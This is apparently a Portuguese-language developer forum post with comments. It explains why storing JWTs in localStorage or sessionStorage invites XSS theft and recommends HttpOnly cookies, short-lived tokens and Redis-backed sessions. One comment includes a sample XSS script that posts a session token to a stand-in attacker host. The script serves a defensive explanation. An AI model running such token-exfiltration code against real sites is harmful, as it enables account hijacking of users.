Executando verificação de segurança...
47

🔐 Por que você (ainda) está salvando seu JWT no localStorage?

Quando comecei a trabalhar com autenticação em aplicações frontend, tudo parecia muito simples: o usuário faz login, a API retorna um JWT, e eu salvo o token no localStorage. Fácil, rápido e funcional. Até que os primeiros problemas começaram a surgir.

Se você ainda está usando essa abordagem, este artigo é um convite para repensar sua estratégia de segurança. Vou te mostrar os riscos reais e apresentar soluções mais profissionais.


☠️ O problema do localStorage: o alvo favorito dos XSS

O localStorage armazena dados de forma persistente e acessível via JavaScript. Isso significa que qualquer script rodando no seu domínio — mesmo um malicioso injetado via ataque XSS (Cross-Site Scripting) — pode acessar esse conteúdo.

🧪 Exemplo teórico:

Imagine que você carrega um widget de comentários de terceiros, ou uma lib que tem uma falha de segurança. Um atacante pode injetar um script no navegador do seu usuário e enviar o token para um servidor externo.

Agora o invasor tem o JWT e pode usá-lo para autenticar como esse usuário em outra máquina.

Repare: o problema não é o JWT em si — é onde ele está salvo.


🍪 Cookies com HttpOnly: menos conveniência, mais segurança

Uma alternativa muito mais segura é armazenar o token (idealmente o refresh token) em cookies com as flags HttpOnly e Secure ativadas.

✅ Benefícios:

  • HttpOnly: impede acesso ao cookie via document.cookie, protegendo contra XSS.
  • Secure: só permite envio via HTTPS, protegendo contra man-in-the-middle.
  • Os cookies são enviados automaticamente a cada requisição feita ao mesmo domínio, sem depender de localStorage ou headers manuais.

⚙️ Exemplo prático (backend):

Set-Cookie: refresh_token=abc.def.ghi; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=604800

⚙️ Exemplo prático (frontend com fetch):

fetch("/api/profile", {
  method: "GET",
  credentials: "include"
});

Esse modelo é o preferido para aplicações SPA (Single Page Applications) modernas com frontend separado, e também para SSR (Next.js, Nuxt, etc.).


🔁 Token Refresh: manter sessões seguras e contínuas

É uma má ideia manter JWTs válidos por muito tempo. Em vez disso:

  • Use um access token de curta duração (ex: 15 minutos).
  • Use um refresh token HttpOnly com duração maior (ex: 7 dias).
  • Crie um endpoint de refresh, que retorna um novo access token.

Assim, mesmo que um access token vaze, ele expira rapidamente. E o refresh token, estando em cookie HttpOnly, está bem mais protegido.


🧠 Redis + WebSocket: sessões seguras e reativas em tempo real

Agora, se você está lidando com múltiplos dispositivos, jogos online, chats, painéis administrativos, ou deseja um controle completo sobre sessões (como revogar tokens, limitar por IP/dispositivo, etc), o ideal é um modelo de sessão centralizada.

🛠️ Como funciona:

  • O frontend recebe um session_id após login (salvo em cookie ou memória).
  • O backend mantém essa sessão no Redis, com TTL (tempo de expiração), IP, e dados do usuário.
  • Toda requisição/autenticação vai até o Redis verificar a validade da sessão.
  • Pode-se integrar com WebSocket para reconexões, eventos em tempo real, ou logout remoto.

💡 Vantagens:

  • Permite invalidar sessões específicas a qualquer momento.
  • Pode limitar sessões por dispositivo, IP ou localização.
  • Ideal para apps com notificações em tempo real e escalabilidade horizontal.

🔐 Boas práticas complementares de segurança

Independente da abordagem escolhida, algumas boas práticas devem sempre ser aplicadas:

✅ CSP (Content Security Policy)

Evita execução de scripts externos maliciosos. Reduz risco de XSS.

Content-Security-Policy: default-src 'self';

✅ SameSite Cookies

Evita ataques CSRF. Use SameSite=Strict ou Lax.

✅ CORS bem configurado

Permite acesso apenas de domínios confiáveis.

Access-Control-Allow-Origin: https://meusite.com

✅ Expiração e rotação de tokens

Tokens curtos e que expiram rápido são mais seguros.

✅ Logout de todos os dispositivos

Permita logout global em sessões armazenadas no Redis.


🧩 Conclusão: segurança é arquitetura, não só criptografia

Autenticação não é só um login e um JWT. É uma peça essencial da arquitetura de segurança de qualquer aplicação moderna.

Resumo final:

AbordagemSegurançaControleComplexidade
localStorage❌ Alta vulnerabilidade (XSS)BaixoBaixa
Cookies HttpOnly✅ Muito seguroMédioMédio
Sessões em Redis✅ Altamente seguroAltoAlta

💬 Se você trabalha com autenticação em aplicações web, pense sempre como um atacante. Onde eu atacaria? Como eu roubaria um token? E como eu mitigaria isso?

É essa mentalidade que diferencia quem apenas escreve código de quem projeta sistemas.

Se curtiu, compartilha com alguém que ainda guarda JWT no localStorage. Pode salvar uma aplicação! 😉

Carregando publicação patrocinada...
3
3
2
2
6

❗️sessionStorage é mais seguro que localStorage? Spoiler: não.

Uma dúvida comum entre devs é se usar sessionStorage em vez de localStorage já resolve os problemas de segurança relacionados ao armazenamento de JWTs e tokens. A resposta curta é: não resolve.


⚠️ Ambos são vulneráveis a ataques XSS

Tanto o localStorage quanto o sessionStorage são:

  • Acessíveis via JavaScript (window.localStorage, window.sessionStorage)
  • Armazenados no lado do cliente
  • Expostos a scripts maliciosos em ataques XSS

Isso significa que se um atacante conseguir rodar JS no seu domínio, ele terá acesso ao conteúdo do sessionStorage da mesma forma que teria ao localStorage.


🔍 Diferenças de comportamento (mas não de segurança)

CaracterísticalocalStoragesessionStorage
PersistênciaSobrevive ao fechar o navegadorÉ apagado ao fechar a aba
EscopoCompartilhado entre abasIsolado por aba
Acesso via JS✅ Sim✅ Sim
Proteção contra XSS❌ Nenhuma❌ Nenhuma

🧪 Exemplo de roubo de token via XSS com sessionStorage

Mesmo que o dado só dure enquanto a aba está aberta, um XSS pode fazer isso:

fetch("https://attacker.site/steal", {
  method: "POST",
  body: sessionStorage.getItem("auth_token")
});

✅ A solução real: cookies HttpOnly ou sessões no backend

Para proteger de verdade:

  • Use cookies com as flags HttpOnly e Secure.
  • Armazene apenas identificadores ou tokens de sessão que não possam ser reutilizados diretamente.
  • Se possível, gerencie as sessões no backend (Redis, banco, etc.) com expiração e invalidação manual.

🔐 Conclusão

sessionStorage não é mais seguro. Apenas dura menos tempo.

Armazenar tokens sensíveis ali é tão perigoso quanto no localStorage. Não se deixe enganar pela volatilidade — a vulnerabilidade é a mesma.

Se quer segurança de verdade, pense como um atacante e proteja onde realmente importa: no ponto de acesso e armazenamento seguro.

1
1

Ótimo conteúdo!

Um ponto que vale ressaltar sobre o cookie e que sentir falta, é a quantidade de informações que podem ser armazenadas no cookie, pois o mesmo tem restrição de tamanho.

Para salvar apenas o token, é super válido, mas se for armazenar mais informações (sei que não é o correto e inseguro fazer isso) ai já precisará rever como fazer isso.

No mais, deixo novamente meus parabéns pelo conteúdo.

1

Apesar do esforço razoável de implementação, usar o Redis para fazer parte da gestão do JWT, cobre uma das limitações dele ser stateless. O Redis o torna stateful, grosso modo.

1
1

Achei excelente esse post! É uma dúvida muito comum no desenvolvimento WEB e já vi muito conteúdo superficial sobre.

Depois que descobri que guardar o token JWT no LocalStorage traz vulnerabilidades passei a usar a abordagem de enviar por cookies HttpOnly, como mencionado. Deu um pouco mais de trabalho no início e bati um pouco a cabeça com as configs do cookie, mas se serve para evitar problemas de segurança precisamos mudar a abordagem ASAP.

0
0

Por que as pessoas ainda insistem em fazer autenticação na mão? Pessoal, keycloak, logto, etc... Parem de reinventar a roda, a comunidade ja tem soluções prontas que são avaliadas por devs de segurança. Eu pessoalmente uso o Logto para tudo... Integra muito bem ao nextjs e com server components eu nem preciso deixar minha API exposta ao publico. Posso fazer um tutorial depois.